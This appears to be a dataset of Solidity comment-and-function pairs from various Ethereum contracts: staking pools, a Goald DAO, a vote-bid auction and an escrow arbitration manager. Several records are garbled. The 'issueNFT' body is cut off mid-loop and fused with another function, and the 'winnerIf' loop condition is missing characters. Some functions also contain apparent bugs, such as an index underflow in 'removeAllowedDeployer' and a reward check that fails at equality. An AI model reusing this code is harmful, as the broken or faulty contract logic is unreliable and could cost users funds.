{"comment": "/// @dev To update a pool's lockup period.\n///\n/// Update a pool's lockup period will affect all current deposits. i.e. if set lock up period to 0, will\n/// unlock all current desposits.", "function_code": "function setPoolLockUpPeriodInSecs(uint256 _poolId, uint256 _newLockUpPeriodInSecs) external {\r\n require(msg.sender == governance || msg.sender == sentinel, \"StakingPools: !(gov || sentinel)\");\r\n Pool.Data storage _pool = _pools.get(_poolId); \r\n uint256 oldLockUpPeriodInSecs = _pool.lockUpPeriodInSecs;\r\n _pool.lockUpPeriodInSecs = _newLockUpPeriodInSecs;\r\n emit LockUpPeriodInSecsUpdated(_poolId, oldLockUpPeriodInSecs, _pool.lockUpPeriodInSecs);\r\n }", "version": "0.6.10"} {"comment": "/// @dev to change a pool's reward vesting period.\n///\n/// Change a pool's reward vesting period. Reward already in vesting schedule won't be affected by this update.", "function_code": "function setPoolVestingDurationInSecs(uint256 _poolId, uint256 _newVestingDurationInSecs) external {\r\n require(msg.sender == governance || msg.sender == sentinel, \"StakingPools: !(gov || sentinel)\");\r\n Pool.Data storage _pool = _pools.get(_poolId); \r\n uint256 oldVestingDurationInSecs = _pool.vestingDurationInSecs;\r\n _pool.vestingDurationInSecs = _newVestingDurationInSecs;\r\n emit VestingDurationInSecsUpdated(_poolId, oldVestingDurationInSecs, _pool.vestingDurationInSecs);\r\n }", "version": "0.6.10"} {"comment": "/// @dev To start referral power calculation for a pool, referral power caculation won't turn on if the onReferralBonus is not set\n///\n/// @param _poolId the pool to start referral power accumulation", "function_code": "function startReferralBonus(uint256 _poolId) external {\r\n require(msg.sender == governance || msg.sender == sentinel, \"startReferralBonus: !(gov || sentinel)\");\r\n Pool.Data storage _pool = _pools.get(_poolId);\r\n require(_pool.onReferralBonus == false, \"referral bonus already on\");\r\n _pool.onReferralBonus = true;\r\n emit StartPoolReferralCompetition(_poolId);\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * Set team tokens.\r\n *\r\n * Security review\r\n *\r\n * - Integer math: ok - only called once with fixed parameters\r\n *\r\n * Applicable tests:\r\n *\r\n * - Test founder token allocation too early\r\n * - Test founder token allocation on time\r\n * - Test founder token allocation twice\r\n *\r\n */", "function_code": "function allocateTeamTokens() onlyOwner public returns (bool success){\r\n require( (startBlock + teamLockup) > block.number); // Check if it is time to allocate team tokens\r\n require(!teamAllocated);\r\n //check if team tokens have already been allocated\r\n balanceOf[msg.sender] = balanceOf[msg.sender].add(teamAllocation);\r\n totalSupply = totalSupply.add(teamAllocation);\r\n teamAllocated = true;\r\n AllocateTeamTokens(msg.sender, teamAllocation);\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/*\n * Verifies the inclusion of a leaf in a Merkle tree using a Merkle proof.\n *\n * Based on https://github.com/ameensol/merkle-tree-solidity/src/MerkleProof.sol\n */", "function_code": "function checkProof(bytes memory proof, bytes32 root, bytes32 leaf) public pure returns (bool) {\n if (proof.length % 32 != 0) return false; // Check if proof is made of bytes32 slices\n\n bytes memory elements = proof;\n bytes32 element;\n bytes32 hash = leaf;\n for (uint i = 32; i <= proof.length; i += 32) {\n assembly {\n // Load the current element of the proofOfInclusion (optimal way to get a bytes32 slice)\n element := mload(add(elements, i))\n }\n hash = keccak256(abi.encodePacked(hash < element ? abi.encodePacked(hash, element) : abi.encodePacked(element, hash)));\n }\n return hash == root;\n }", "version": "0.5.3"} {"comment": "/** Adds an allowed deployer. */", "function_code": "function addAllowedDeployer(address newDeployer) external {\r\n // Reentrancy guard.\r\n require(_status == RE_NOT_ENTERED || _status == RE_FROZEN);\r\n require(msg.sender == _owner, \"Not owner\");\r\n require(!_allowedDeployersMap[newDeployer], \"Already allowed\");\r\n\r\n // Add the deployer.\r\n _allowedDeployersMap[newDeployer] = true;\r\n _allowedDeployersList.push(newDeployer);\r\n }", "version": "0.6.12"} {"comment": "/** Removes an allowed deployer by index. We require the index for no-traversal removal against a known address. */", "function_code": "function removeAllowedDeployer(address deployerAddress, uint256 index) external {\r\n // Reentrancy guard.\r\n require(_status == RE_NOT_ENTERED || _status == RE_FROZEN);\r\n require(msg.sender == _owner, \"Not owner\");\r\n require(index < _allowedDeployersList.length, \"Out of bounds\");\r\n\r\n // Check the address.\r\n address indexAddress = _allowedDeployersList[index];\r\n require(indexAddress == deployerAddress, \"Address mismatch\");\r\n require(_allowedDeployersMap[deployerAddress], \"Already restricted\");\r\n\r\n // Remove the deployer.\r\n _allowedDeployersMap[deployerAddress] = false;\r\n _allowedDeployersList[index] = _allowedDeployersList[index - 1];\r\n _allowedDeployersList.pop();\r\n }", "version": "0.6.12"} {"comment": "/** The proxy address is what the Goald deployers send their fees to. */", "function_code": "function setProxyAddress(address newAddress) external {\r\n // Reentrancy guard.\r\n require(_status == RE_NOT_ENTERED || _status == RE_FROZEN);\r\n require(msg.sender == _owner, \"Not owner\");\r\n require(newAddress != address(0), \"Can't be zero address\");\r\n require(IGoaldProxy(newAddress).getProxyAddress() == newAddress);\r\n\r\n _proxyAddress = newAddress;\r\n }", "version": "0.6.12"} {"comment": "/** The uniswap router for converting tokens within this proxys. */", "function_code": "function setUniswapRouterAddress(address newAddress) external {\r\n // Reentrancy guard.\r\n require(_status == RE_NOT_ENTERED || _status == RE_FROZEN);\r\n require(msg.sender == _owner, \"Not owner\");\r\n require(newAddress != address(0), \"Can't be zero address\");\r\n\r\n _uniswapRouterAddress = newAddress;\r\n }", "version": "0.6.12"} {"comment": "/** Return the metadata for a specific Goald. */", "function_code": "function getTokenURI(uint256 tokenId) external view returns (string memory) {\r\n // Inspired by OraclizeAPI's implementation - MIT licence\r\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\r\n\r\n uint256 temp = tokenId;\r\n uint256 digits;\r\n while (temp != 0) {\r\n digits++;\r\n temp /= 10;\r\n }\r\n bytes memory buffer = new bytes(digits);\r\n uint256 index = digits - 1;\r\n temp = tokenId;\r\n while (temp != 0) {\r\n buffer[index--] = byte(uint8(48 + temp % 10));\r\n temp /= 10;\r\n }\r\n\r\n return string(abi.encodePacked(_baseTokenURI, string(buffer)));\r\n }", "version": "0.6.12"} {"comment": "/** Updates the owner of a deployed Goald. */", "function_code": "function setGoaldOwner(uint256 id) external {\r\n // Reentrancy guard.\r\n require(_status == RE_NOT_ENTERED);\r\n _status = RE_ENTERED;\r\n\r\n // Id is offset by one of the index\r\n id --;\r\n require(id < _deployedGoalds.length, \"Invalid id\");\r\n\r\n // We don't have the address as a parameter so we are guaranteed to always have the correct value stored here.\r\n address owner = IERC721(_deployedGoalds[id]).ownerOf(id + 1);\r\n _goaldOwners[id] = owner;\r\n\r\n // Hello world!\r\n emit OwnerChanged(id + 1, owner);\r\n\r\n // By storing the original amount once again, a refund is triggered (see https://eips.ethereum.org/EIPS/eip-2200).\r\n _status = RE_NOT_ENTERED;\r\n }", "version": "0.6.12"} {"comment": "/** Claims the initial issuance of the governance token to enable bootstrapping the DAO. */", "function_code": "function claimIssuance() external {\r\n // Reentrancy guard.\r\n require(_status == RE_NOT_ENTERED || _status == RE_FROZEN);\r\n require(msg.sender == _owner, \"Not owner\");\r\n require(_governanceStage == STAGE_INITIAL, \"Already claimed\");\r\n\r\n _mint(_owner, 12000 * REWARD_THRESHOLD);\r\n\r\n _governanceStage = STAGE_ISSUANCE_CLAIMED;\r\n }", "version": "0.6.12"} {"comment": "/** Uses Uniswap to convert all held amount of a specific token into the reward token, using the provided path. */", "function_code": "function convertToken(address[] calldata path, uint256 deadline) external {\r\n // Reentrancy guard.\r\n require(_status == RE_NOT_ENTERED);\r\n _status = RE_ENTERED;\r\n require(msg.sender == _owner, \"Not owner\");\r\n \r\n // Make sure this contract actually has a balance.\r\n IERC20 tokenContract = IERC20(path[0]);\r\n uint256 amount = tokenContract.balanceOf(address(this));\r\n require(amount > 0, \"No balance for token\");\r\n\r\n // Make sure the reward token is the last address in the path. Since the array is calldata we don't want to spend the gas to\r\n // push this onto the end.\r\n require(path[path.length - 1] == _rewardToken, \"Last must be reward token\");\r\n\r\n // Swap the tokens.\r\n tokenContract.approve(_uniswapRouterAddress, amount);\r\n IUniswapV2Router02(_uniswapRouterAddress).swapExactTokensForTokens(amount, 1, path, address(this), deadline);\r\n\r\n // By storing the original amount once again, a refund is triggered (see https://eips.ethereum.org/EIPS/eip-2200).\r\n _status = RE_NOT_ENTERED;\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * Changes which token will be the reward token. This can only happen if there is no balance in reserve held for rewards. If a\r\n * change is desired despite there being excess rewards, call `withdrawReward()` on behalf of each holder to drain the reserve.\r\n */", "function_code": "function setRewardToken(address newToken) external {\r\n // Reentrancy guard.\r\n require(_status == RE_NOT_ENTERED || _status == RE_FROZEN);\r\n require(msg.sender == _owner, \"Not owner\");\r\n require(newToken != address(0), \"Can't be zero address\");\r\n require(newToken != address(this), \"Can't be this address\");\r\n require(_reservedRewardBalance == 0, \"Have reserved balance\");\r\n\r\n _rewardToken = newToken;\r\n }", "version": "0.6.12"} {"comment": "/** Returns the reward balance for a holder according to the true state, not the hard state. See: `_checkRewardBalance()`. */", "function_code": "function getHolderRewardBalance(address holder) external view returns (uint256) {\r\n uint256 count = _rewardMultipliers.length;\r\n uint256 balance = balanceOf(holder);\r\n uint256 rewardBalance = _rewardBalance[holder];\r\n uint256 currentMinimumIndex = _minimumRewardIndex[holder];\r\n for (; currentMinimumIndex < count; currentMinimumIndex ++) {\r\n rewardBalance += _rewardMultipliers[currentMinimumIndex] * balance;\r\n }\r\n\r\n return rewardBalance;\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * Withdraws the current reward balance. The sender doesn't need to have any current balance of the governance token to\r\n * withdraw, so long as they have a preexisting outstanding balance. This has a provided recipient so that we can drain the\r\n * reward pool as necessary (e.g., for changing the reward token).\r\n */", "function_code": "function withdrawReward(address holder) external {\r\n // Reentrancy guard. Allow owner to drain the pool even if frozen.\r\n require(_status == RE_NOT_ENTERED || (_status == RE_FROZEN && msg.sender == _owner));\r\n _status = RE_ENTERED;\r\n\r\n // Update their balance.\r\n _checkRewardBalance(holder);\r\n\r\n // Revert so gas estimators will show a failure.\r\n uint256 balance = _rewardBalance[holder];\r\n require(balance > 0, \"No reward balance\");\r\n\r\n // Wipe the balance.\r\n _rewardBalance[holder] = 0;\r\n require(_reservedRewardBalance - balance > 0, \"Reserved balance underflow\");\r\n _reservedRewardBalance -= balance;\r\n\r\n // Give them their balance.\r\n IERC20(_rewardToken).transfer(holder, balance);\r\n\r\n // By storing the original amount once again, a refund is triggered (see https://eips.ethereum.org/EIPS/eip-2200).\r\n _status = RE_NOT_ENTERED;\r\n }", "version": "0.6.12"} {"comment": "// insert n after prev", "function_code": "function insert(LinkedList storage self, uint prev, uint n) internal returns (uint) {\r\n require(n != HEAD && self.list[n] == HEAD && n != self.tail);\r\n self.list[n] = self.list[prev];\r\n self.list[prev] = n;\r\n self.size++;\r\n if (self.tail == prev) {\r\n self.tail = n;\r\n }\r\n return n;\r\n }", "version": "0.4.19"} {"comment": "// Remove node n preceded by prev", "function_code": "function remove(LinkedList storage self, uint prev, uint n) internal returns (uint) {\r\n require(n != HEAD && self.list[prev] == n);\r\n self.list[prev] = self.list[n];\r\n delete self.list[n];\r\n self.size--;\r\n if (self.tail == n) {\r\n self.tail = prev;\r\n }\r\n return n;\r\n }", "version": "0.4.19"} {"comment": "/// For creating Company", "function_code": "function _createCompany(string _name, address _owner, uint256 _price) private {\r\n require(_price % 100 == 0);\r\n\r\n Company memory _company = Company({\r\n name: _name\r\n });\r\n uint256 newCompanyId = companies.push(_company) - 1;\r\n\r\n // It's probably never going to happen, 4 billion tokens are A LOT, but\r\n // let's just be 100% sure we never let this happen.\r\n require(newCompanyId == uint256(uint32(newCompanyId)));\r\n\r\n Founded(newCompanyId, _name, _owner, _price);\r\n\r\n companyIndexToPrice[newCompanyId] = _price;\r\n\r\n _transfer(address(0), _owner, newCompanyId, TOTAL_SHARES);\r\n }", "version": "0.4.19"} {"comment": "/// @param flagField bitfield containing a bunch of virtual bool values\n/// @param offset index into flagField of the bool we want to set the value of\n/// @param value value to set the bit specified by offset to\n/// @return the new value of flagField containing the modified bool value", "function_code": "function setBool(uint32 flagField, uint offset, bool value) internal pure returns (uint32) {\n if (value) {\n return flagField | uint32(1 << offset);\n } else {\n return flagField & ~(uint32(1 << offset));\n }\n }", "version": "0.5.3"} {"comment": "/// @notice Emit some events upon every contract creation\n/// @param agreementHash hash of the text of the agreement\n/// @param agreementURI URL of JSON representing the agreement", "function_code": "function emitAgreementCreationEvents(\n uint agreementID,\n bytes32 agreementHash,\n string memory agreementURI\n )\n internal\n {\n // We want to emit both of these because we want to emit the agreement hash, and we also\n // want to adhere to ERC1497\n emit MetaEvidence(agreementID, agreementURI);\n emit AgreementCreated(uint32(agreementID), agreementHash);\n }", "version": "0.5.3"} {"comment": "// Unstaking Tokens (Withdraw)", "function_code": "function unstakeTokens() public {\n // Fetch staking balance\n uint balance = stakingBalance[msg.sender];\n\n // Require amount greater than 0\n require(balance > 0, \"staking balance cannot be 0\");\n\n // Transfer Auf tokens to this contract for staking\n ERC20Interface(ibyAddress).transfer(msg.sender, balance);\n\n // Reset staking balance\n stakingBalance[msg.sender] = 0;\n\n // Update staking status\n isStaking[msg.sender] = false;\n }", "version": "0.6.12"} {"comment": "// Issuing Tokens", "function_code": "function issueNFT() public {\n // Only owner can call this function\n require(msg.sender == owner, \"caller must be the owner\");\n\n // Issue tokens to all stakers\n for (uint i=0; i 0) {\n NFTtokens = balance / 10000000000000000000000;\n for (uint j=0; j currentBid.maxPerVote) {\n paidPer = currentBid.maxPerVote;\n paidTotal = paidPer*_votes;\n }\n bidder[_proposal][currentBid.owner].balance -= paidTotal; // removed paid total from winner balance\n if(_minOut == 0) {\n // call stash to lock->stake directly\n CRV.approve(stash, paidTotal);\n Stash(stash).lockCRV(paidTotal);\n } else {\n // call swapper to swap and stake on behalf of stash\n CRV.approve(address(swapper), paidTotal);\n swapper.SwapStake(paidTotal, _minOut, _method);\n }\n proposal[_proposal].status = 3; // set status to finalized with winner\n }\n }", "version": "0.8.7"} {"comment": "// Calculates winner of a proposal based on reported voting power", "function_code": "function winnerIf(bytes32 _proposal, uint256 _votes) public view returns (uint256 winningId, bool hasWinner) {\n require(_votes > 0, \"!>0\"); // cannot calculate winner of zero votes\n uint256 paidPer;\n uint256 highest;\n // cycle through all bids in proposal\n for(uint256 i=0;i proposal[_proposal].bids[i].maxPerVote) { paidPer = proposal[_proposal].bids[i].maxPerVote; }\n if(paidPer > highest) {\n winningId = i;\n highest = paidPer;\n }\n }\n }\n // verify a winner has been selected\n if(highest > 0) { hasWinner = true; }\n }", "version": "0.8.7"} {"comment": "// place bid", "function_code": "function placeBid(bytes32 _proposal, uint256 _maxPerVote, uint256 _maxTotal) public {\n require(_maxTotal > 0, \"Cannot bid 0\");\n require(_maxPerVote > 0, \"Cannot bid 0\");\n require(proposal[_proposal].deadline > block.timestamp, \"expired\");\n require(bidder[_proposal][msg.sender].balance == 0, \"Already bid\");\n require(bidder[_proposal][msg.sender].msgHash != keccak256(\"\"), \"No hash\");\n // transfer funds to this contract\n CRV.safeTransferFrom(msg.sender, address(this), _maxTotal);\n // form bid entry\n Bids memory currentEntry;\n currentEntry.owner = msg.sender;\n currentEntry.maxPerVote = _maxPerVote;\n currentEntry.maxTotal = _maxTotal;\n proposal[_proposal].bids.push(currentEntry);\n bidder[_proposal][msg.sender].bidId = proposal[_proposal].bids.length-1;\n bidder[_proposal][msg.sender].balance = _maxTotal;\n }", "version": "0.8.7"} {"comment": "// increase a current bid", "function_code": "function increaseBid(bytes32 _proposal, uint256 bidId, uint256 _maxPerVote, uint256 _maxTotal) public {\n require(proposal[_proposal].deadline > block.timestamp, \"expired\");\n require(proposal[_proposal].bids[bidId].owner == msg.sender, \"!owner\");\n // if maxPerVote is greater than original, perform adjustment\n if(_maxPerVote > proposal[_proposal].bids[bidId].maxPerVote) {\n proposal[_proposal].bids[bidId].maxPerVote = _maxPerVote;\n }\n // if maxTotal is greater than original, perform adjustment\n if(_maxTotal > proposal[_proposal].bids[bidId].maxTotal) {\n uint256 increase = _maxTotal-proposal[_proposal].bids[bidId].maxTotal;\n CRV.safeTransferFrom(msg.sender, address(this), increase);\n proposal[_proposal].bids[bidId].maxTotal += increase;\n bidder[_proposal][msg.sender].balance += increase;\n }\n }", "version": "0.8.7"} {"comment": "// roll a balance from a finalized auction into a bid for an active auction", "function_code": "function rollBalance(bytes32 _proposalA, bytes32 _proposalB, uint256 _maxPerVote) public {\n require(proposal[_proposalB].deadline > block.timestamp, \"Invalid B\"); // Can only roll into active auction\n require(proposal[_proposalA].status > 2, \"Invalid A\"); // Can only roll out of finalized auction\n require(bidder[_proposalB][msg.sender].balance == 0, \"Already bid\"); // Address cannot have two bids\n require(bidder[_proposalB][msg.sender].msgHash != keccak256(\"\"), \"No hash\"); // Address must first register a vote hash\n require(_maxPerVote > 0, \"bid 0\"); // Cannot bid 0\n require(bidder[_proposalA][msg.sender].balance > 0, \"0 balance\"); // No balance to transfer\n\n uint256 bal = bidder[_proposalA][msg.sender].balance; // store original auction balance\n bidder[_proposalA][msg.sender].balance = 0; // set original auction balance to 0\n // form bid entry\n Bids memory currentEntry;\n currentEntry.owner = msg.sender;\n currentEntry.maxPerVote = _maxPerVote;\n currentEntry.maxTotal = bal;\n proposal[_proposalB].bids.push(currentEntry);\n bidder[_proposalB][msg.sender].balance = bal; // set user balance of new auction\n }", "version": "0.8.7"} {"comment": "// withdraw from finalized auction", "function_code": "function withdraw(bytes32 _proposal) public {\n require(proposal[_proposal].status > 2, \"not final\");\n uint256 bal = bidder[_proposal][msg.sender].balance; // store balance\n if(bal > 0) {\n bidder[_proposal][msg.sender].balance = 0; // set balance to 0\n CRV.safeTransfer(msg.sender, bal); // send stored balance to user\n }\n }", "version": "0.8.7"} {"comment": "// note: can move to a library", "function_code": "function transfer(uint quantity, address asset, address account) internal {\n asset == ETH ?\n require(address(uint160(account)).send(quantity), \"failed to transfer ether\") : // explicit casting to `address payable`\n require(Token(asset).transfer(account, quantity), \"failed to transfer token\");\n }", "version": "0.5.3"} {"comment": "// note: can move to a library\n// note: can use a deployed https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/cryptography/ECDSA.sol", "function_code": "function recover(bytes32 hash, bytes memory signature) private pure returns (address) {\n bytes32 r; bytes32 s; uint8 v;\n if (signature.length != 65) return (address(0)); //Check the signature length\n\n // Divide the signature into r, s and v variables\n assembly {\n r := mload(add(signature, 32))\n s := mload(add(signature, 64))\n v := byte(0, mload(add(signature, 96)))\n }\n\n // Version of signature should be 27 or 28, but 0 and 1 are also possible versions\n if (v < 27) v += 27;\n\n // If the version is correct return the signer address\n return (v != 27 && v != 28) ? (address(0)) : ecrecover(hash, v, r, s);\n }", "version": "0.5.3"} {"comment": "// note: an account must call token.approve(custodian, quantity) beforehand", "function_code": "function depositToken(address token, uint quantity) external validToken(token) {\n uint balanceBefore = Token(token).balanceOf(address(this));\n require(Token(token).transferFrom(msg.sender, address(this), quantity), \"failure to transfer quantity from token\");\n uint balanceAfter = Token(token).balanceOf(address(this));\n require(balanceAfter - balanceBefore == quantity, \"bad Token; transferFrom erroneously reported of successful transfer\");\n deposit(msg.sender, token, quantity);\n }", "version": "0.5.3"} {"comment": "// account => asset => did-exit", "function_code": "function withdraw(\n address[] calldata addresses,\n uint[] calldata uints,\n bytes calldata signature,\n bytes calldata proof,\n bytes32 root\n ) external {\n Entry memory entry = extractEntry(addresses, uints);\n verifySignedBy(entry.hash, signature, operator);\n require(entry.account == msg.sender, \"withdrawer must be entry's account\");\n require(entry.entryType == EntryType.Withdrawal, \"entry must be of type Withdrawal\");\n require(proveInConfirmedWithdrawals(proof, root, entry.hash), \"invalid entry proof\");\n require(!withdrawn[entry.hash], \"entry already withdrawn\");\n withdrawn[entry.hash] = true;\n transfer(entry.quantity, entry.asset, entry.account);\n emit Withdrawn(entry.hash, entry.account, entry.asset, entry.quantity);\n }", "version": "0.5.3"} {"comment": "/// @notice Called by arbitrator to report their resolution.\n/// Can only be called after arbitrator is asked to arbitrate by both parties.\n/// We separate the staked funds of party A and party B because they might use different\n/// tokens.\n/// @param resTokenA The amount of party A's staked funds that the caller thinks should go to\n/// party A. The remaining amount of wei staked for this agreement would go to party B.\n/// @param resTokenB The amount of party B's staked funds that the caller thinks should go to\n/// party A. The remaining amount of wei staked for this agreement would go to party B.\n/// @param distributeFunds Whether to distribute funds to both parties and the arbitrator (if\n/// the arbitrator hasn't already called withdrawDisputeFee).", "function_code": "function resolveAsArbitrator(\n uint agreementID,\n uint resTokenA,\n uint resTokenB,\n bool distributeFunds\n )\n external\n {\n AgreementDataERC20 storage agreement = agreements[agreementID];\n\n require(!pendingExternalCall(agreement), \"Reentrancy protection is on\");\n require(agreementIsOpen(agreement), \"Agreement not open.\");\n require(agreementIsLockedIn(agreement), \"Agreement not locked in.\");\n\n uint48 resA = toLargerUnit(resTokenA, agreement.partyATokenPower);\n uint48 resB = toLargerUnit(resTokenB, agreement.partyBTokenPower);\n\n require(\n msg.sender == agreement.arbitratorAddress,\n \"resolveAsArbitrator can only be called by arbitrator.\"\n );\n require(resA <= agreement.partyAStakeAmount, \"Resolution out of range for token A.\");\n require(resB <= agreement.partyBStakeAmount, \"Resolution out of range for token B.\");\n require(\n (\n partyRequestedArbitration(agreement, Party.A) &&\n partyRequestedArbitration(agreement, Party.B)\n ),\n \"Arbitration not requested by both parties.\"\n );\n\n setArbitratorResolved(agreement, true);\n\n emit ArbitratorResolved(uint32(agreementID), resA, resB);\n\n bool distributeToArbitrator = !arbitratorReceivedDisputeFee(agreement) && distributeFunds;\n\n finalizeResolution_Untrusted_Unguarded(\n agreementID,\n agreement,\n resA,\n resB,\n distributeFunds,\n distributeToArbitrator\n );\n }", "version": "0.5.3"} {"comment": "/// @notice Request that the arbitrator get involved to settle the disagreement.\n/// Each party needs to pay the full arbitration fee when calling this. However they will be\n/// refunded the full fee if the arbitrator agrees with them.\n/// If one party calls this and the other refuses to, the party who called this function can\n/// eventually call requestDefaultJudgment.", "function_code": "function requestArbitration(uint agreementID) external payable {\n AgreementDataERC20 storage agreement = agreements[agreementID];\n\n require(!pendingExternalCall(agreement), \"Reentrancy protection is on\");\n require(agreementIsOpen(agreement), \"Agreement not open.\");\n require(agreementIsLockedIn(agreement), \"Agreement not locked in.\");\n require(agreement.arbitratorAddress != address(0), \"Arbitration is disallowed.\");\n // Make sure people don't accidentally send ETH when the only required tokens are ERC20\n if (agreement.arbitratorToken != address(0)) {\n require(msg.value == 0, \"ETH was sent, but none was needed.\");\n }\n\n Party callingParty = getCallingParty(agreement);\n require(\n !partyResolutionIsNull(agreement, callingParty),\n \"Need to enter a resolution before requesting arbitration.\"\n );\n require(\n !partyRequestedArbitration(agreement, callingParty),\n \"This party already requested arbitration.\"\n );\n\n bool firstArbitrationRequest =\n !partyRequestedArbitration(agreement, Party.A) &&\n !partyRequestedArbitration(agreement, Party.B);\n\n require(\n (\n !firstArbitrationRequest ||\n block.timestamp > agreement.nextArbitrationStepAllowedAfterTimestamp\n ),\n \"Arbitration not allowed yet.\"\n );\n\n setPartyRequestedArbitration(agreement, callingParty, true);\n\n emit ArbitrationRequested(uint32(agreementID));\n\n if (firstArbitrationRequest) {\n updateArbitrationResponseDeadline(agreement);\n } else {\n // Both parties have requested arbitration. Emit this event to conform to ERC1497.\n emit Dispute(\n Arbitrator(agreement.arbitratorAddress),\n agreementID,\n agreementID,\n agreementID\n );\n }\n\n receiveFunds_Untrusted_Unguarded(\n agreement.arbitratorToken,\n toWei(agreement.disputeFee, agreement.arbitratorTokenPower)\n );\n }", "version": "0.5.3"} {"comment": "/// @notice Allow the arbitrator to indicate they're working on the dispute by withdrawing the\n/// funds. We can't prevent dishonest arbitrator from taking funds without doing work, because\n/// they can always call 'resolveAsArbitrator' quickly. So we prevent the arbitrator from\n/// actually being paid until they either call this function or 'resolveAsArbitrator' to avoid\n/// the case where we send funds to a nonresponsive arbitrator.", "function_code": "function withdrawDisputeFee(uint agreementID) external {\n AgreementDataERC20 storage agreement = agreements[agreementID];\n\n require(!pendingExternalCall(agreement), \"Reentrancy protection is on\");\n require(\n (\n partyRequestedArbitration(agreement, Party.A) &&\n partyRequestedArbitration(agreement, Party.B)\n ),\n \"Arbitration not requested\"\n );\n require(\n msg.sender == agreement.arbitratorAddress,\n \"withdrawDisputeFee can only be called by Arbitrator.\"\n );\n require(\n !resolutionsAreCompatibleBothExist(\n agreement,\n agreement.partyAResolutionTokenA,\n agreement.partyAResolutionTokenB,\n agreement.partyBResolutionTokenA,\n agreement.partyBResolutionTokenB,\n Party.A\n ),\n \"partyA and partyB already resolved their dispute.\"\n );\n\n distributeFundsToArbitratorHelper_Untrusted_Unguarded(agreementID, agreement);\n }", "version": "0.5.3"} {"comment": "/// @dev This function is NOT untrusted in this contract.\n/// @return whether the given party has paid the arbitration fee in full.", "function_code": "function partyFullyPaidDisputeFee_Sometimes_Untrusted_Guarded(\n uint, /*agreementID is unused in this version*/\n AgreementDataERC20 storage agreement,\n Party party) internal returns (bool) {\n\n // Since the arbitration fee can't change mid-agreement in simple arbitration,\n // having requested arbitration means the dispute fee is paid.\n return partyRequestedArbitration(agreement, party);\n }", "version": "0.5.3"} {"comment": "/// @notice See comments in AgreementManagerETH to understand the goal of this\n/// important function.\n/// @dev We don't use the first argument (agreementID) in this version, but it's there because\n/// we use inheritance.", "function_code": "function getPartyArbitrationRefundInWei(\n uint /*agreementID*/,\n AgreementDataERC20 storage agreement,\n Party party\n )\n internal\n view\n returns (uint)\n {\n if (!partyRequestedArbitration(agreement, party)) {\n // party didn't pay an arbitration fee, so gets no refund.\n return 0;\n }\n\n // Now we know party paid an arbitration fee, so figure out how much of it they get back.\n\n if (partyDisputeFeeLiability(agreement, party)) {\n // party has liability for the dispute fee. The only question is whether they\n // pay the full amount or half.\n Party otherParty = getOtherParty(party);\n if (partyDisputeFeeLiability(agreement, otherParty)) {\n // party pays half the fee\n return toWei(agreement.disputeFee/2, agreement.arbitratorTokenPower);\n }\n return 0; // party pays the full fee\n }\n // No liability -- full refund\n return toWei(agreement.disputeFee, agreement.arbitratorTokenPower);\n }", "version": "0.5.3"} {"comment": "/**\r\n * @notice A method to allow a stakeholder to check his rewards.\r\n * @param _stakeholder The stakeholder to check rewards for.\r\n */", "function_code": "function rewardOf(address _stakeholder) public view returns (uint256) {\r\n uint256 rewardAmount = 0;\r\n for (uint256 j = 0; j < stakes[_stakeholder].length; j += 1) {\r\n uint256 amount = stakes[_stakeholder][j].amount;\r\n uint256 rate = stakes[_stakeholder][j].rewardRate;\r\n uint256 reward =\r\n calculateReward(\r\n stakes[_stakeholder][j].lastUpdateTime,\r\n rate,\r\n amount\r\n );\r\n rewardAmount = rewardAmount.add(reward);\r\n }\r\n return rewardAmount;\r\n }", "version": "0.7.3"} {"comment": "/**\r\n * @notice A method to allow a stakeholder to withdraw his rewards.\r\n */", "function_code": "function claimReward() public {\r\n address stakeholder = _msgSender();\r\n\r\n uint256 rewardAmount = rewardOf(stakeholder);\r\n\r\n require(rewardAmount > 0, \"Reward is empty!\");\r\n\r\n stakingToken.mint(_msgSender(), rewardAmount);\r\n\r\n for (uint256 j = 0; j < stakes[stakeholder].length; j += 1) {\r\n uint256 currentTime = block.timestamp;\r\n uint256 _lastUpdateTime =\r\n currentTime -\r\n currentTime.sub(stakingStart).mod(30 days).div(1 days).mul(\r\n 1 days\r\n );\r\n stakes[stakeholder][j].lastUpdateTime = _lastUpdateTime;\r\n stakes[stakeholder][j].rewardRate = getRewardRate(_lastUpdateTime);\r\n }\r\n\r\n emit ClaimedReward(_msgSender(), rewardAmount);\r\n }", "version": "0.7.3"} {"comment": "/**\r\n Allow token to be traded/sent from account to account // allow for staking and governance plug-in\r\n */", "function_code": "function transfer(address to, uint256 value) public returns (bool) {\r\n require(value <= _balances[msg.sender]);\r\n require(to != address(0));\r\n\r\n uint256 tokensToBurn = 0;\r\n uint256 tokensToTransfer = value.sub(tokensToBurn);\r\n\r\n _balances[msg.sender] = _balances[msg.sender].sub(value);\r\n _balances[to] = _balances[to].add(tokensToTransfer);\r\n\r\n _totalSupply = _totalSupply.sub(tokensToBurn);\r\n\r\n emit Transfer(msg.sender, to, tokensToTransfer);\r\n emit Transfer(msg.sender, address(0), tokensToBurn);\r\n return true;\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * If the user sends 0 ether, he receives 50 tokens.\r\n * If he sends 0.001 ether, he receives 1500 tokens\r\n * If he sends 0.005 ether he receives 9,000 tokens\r\n * If he sends 0.01ether, he receives 20,000 tokens\r\n * If he sends 0.05ether he receives 110,000 tokens\r\n * If he sends 0.1ether, he receives 230,000 tokens\r\n */", "function_code": "function getTotalAmountOfTokens(uint256 _weiAmount) internal pure returns (uint256) {\r\n uint256 amountOfTokens = 0;\r\n if(_weiAmount == 0){\r\n amountOfTokens = 50 * (10**uint256(decimals));\r\n }\r\n if( _weiAmount == 0.001 ether){\r\n amountOfTokens = 15 * 10**2 * (10**uint256(decimals));\r\n }\r\n if( _weiAmount == 0.005 ether){\r\n amountOfTokens = 9 * 10**3 * (10**uint256(decimals));\r\n }\r\n if( _weiAmount == 0.01 ether){\r\n amountOfTokens = 20 * 10**3 * (10**uint256(decimals));\r\n }\r\n if( _weiAmount == 0.05 ether){\r\n amountOfTokens = 110 * 10**3 * (10**uint256(decimals));\r\n }\r\n if( _weiAmount == 0.1 ether){\r\n amountOfTokens = 230 * 10**3 * (10**uint256(decimals));\r\n }\r\n return amountOfTokens;\r\n }", "version": "0.4.21"} {"comment": "/// @dev anyone can call this function to 